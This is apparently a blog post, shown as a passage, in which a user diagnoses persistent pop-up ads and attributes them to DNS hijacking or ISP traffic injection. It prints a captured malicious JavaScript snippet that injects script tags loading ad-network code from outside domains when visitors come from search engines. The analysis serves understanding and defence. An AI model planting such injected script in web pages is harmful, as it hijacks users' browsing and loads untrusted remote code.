甩不掉的弹窗广告

最新推荐文章于 2024-07-24 06:46:50 发布

SunnyCoffee

最新推荐文章于 2024-07-24 06:46:50 发布

阅读量4.7k

点赞数

分类专栏： network 文章标签： dns服务器路由器广告弹窗

本文链接：https://blog.csdn.net/limb99/article/details/18503267

版权

network 专栏收录该内容

0 篇文章 0 订阅

订阅专栏

前段时间发现我的电脑在访问一些不知名的网站时（不是指那种垃圾网站）会莫名其妙的弹出一些广告。如果浏览器没有做拦截的话，这些广告在浏览器中以新窗口的形式打开，就是那种单页整幅的广告，而且一次会弹出5、6个。如果做了拦截，在google浏览器上的表现是，弹窗被拦截，但是整个网页覆盖了一成透明的薄膜（就是一个全屏的div），点击网页的任何地方，都会弹出广告。

这个弹窗的原理很简单，其实就是我们在访问目标网站时，网站返回了恶意代码，这些恶意代码被执行就出现了弹窗。这是我在一个弹窗页抓取到的恶意代码。

var url=document.referrer;
var p=url.toLowerCase().indexOf("www.baidu.com","search.cn.yahoo.com","www.soso.com","so.360.cn","zhidao.baidu.com","seek.3721.com");
if (p>0)
{
document.writeln("<script type=\"text\/javascript\">");
document.writeln(" u_a_client=\"14911\";");
document.writeln(" u_a_width=\"0\";");
document.writeln(" u_a_height=\"0\";");
document.writeln(" u_a_zones=\"45930\";");
document.writeln(" u_a_type=\"1\"");
document.writeln("<\/script>");
document.writeln("<script src=\"http:\/\/e4.6dad.com\/i.js\"><\/script>");
document.writeln("<script src=\'http:\/\/js.kk7kk.com\/i.php?z=14921\'><\/script>");
}
getElementsByClassName = function (sClassName,oParentNode){
var allNodes =(oParentNode ? oParentNode : document).getElementsByTagName('*');

var aElements = [];
for(var i=0;i<allNodes.length;i++){
var arrClass = allNodes[i].className.split(" ");
for(var a=0; a<arrClass.length;a++){
if(arrClass[a]==sClassName){
aElements.push(allNodes[i]);
break;
}
}
}
return aElements;
}
var moveul='<ul class="oright">'+getElementsByClassName('oright')[0].innerHTML+'</ul>'
getElementsByClassName('oright')[0].innerHTML='';
document.getElementById('body_right').innerHTML=document.getElementById('body_right').innerHTML+moveul;

当然浏览器插件什么的也有可能导致类似的问题。但问题是，当我们访问一些正规的网站为什么也会有弹窗，这些网站总不会都被黑了吧。当我查看网站源代码时发现，这些广告都来之同几个广告联盟，而且都是那种不知名的，广告内容页来来回回的就那几个。显然这些广告并不是来自目标网站，那是从哪里来的?其实我的第一反应是我的电脑中毒了，当时我就进行的全盘扫描，还有什么广告拦截，也换过杀毒软件，都没有查出来。网上我查了,发现一堆类似的问题,有人甚至怀疑手机中了毒,感染了电脑,刷了手机,重装了系统,回头再看，丫的还是有弹窗广告，直接无语了。

这些恶意代码既然不来自本机，也不是目标网站，那到底哪来的？这时候我想起一种可能，那就是来自网络运营商。几年前曾爆出中国电信进行ADSL广告推送非法盈利，这种弹窗广告是无法拦截的。当你访问目标网站的时候一定会通过运营商的服务器，运营商其实就是一个中间人的角色，你把请求给这个”中间人“，它在转发给目标网站，目标网站将数据返回”中间人“，然后在转发给你。在拿到目标网站返回的数据时，这个”中间人“完全可以加点什么在转给你。现在应该晓得为什么没有中毒还有弹窗广告了吧。

当然现在的运营商不会那么猖狂了。扮演这个中间人其实是DNS。简单说就是你默认的DNS服务器被黑客篡改了。这里普及一基本的网络知识。通常我们上网需要设置3个网络参数。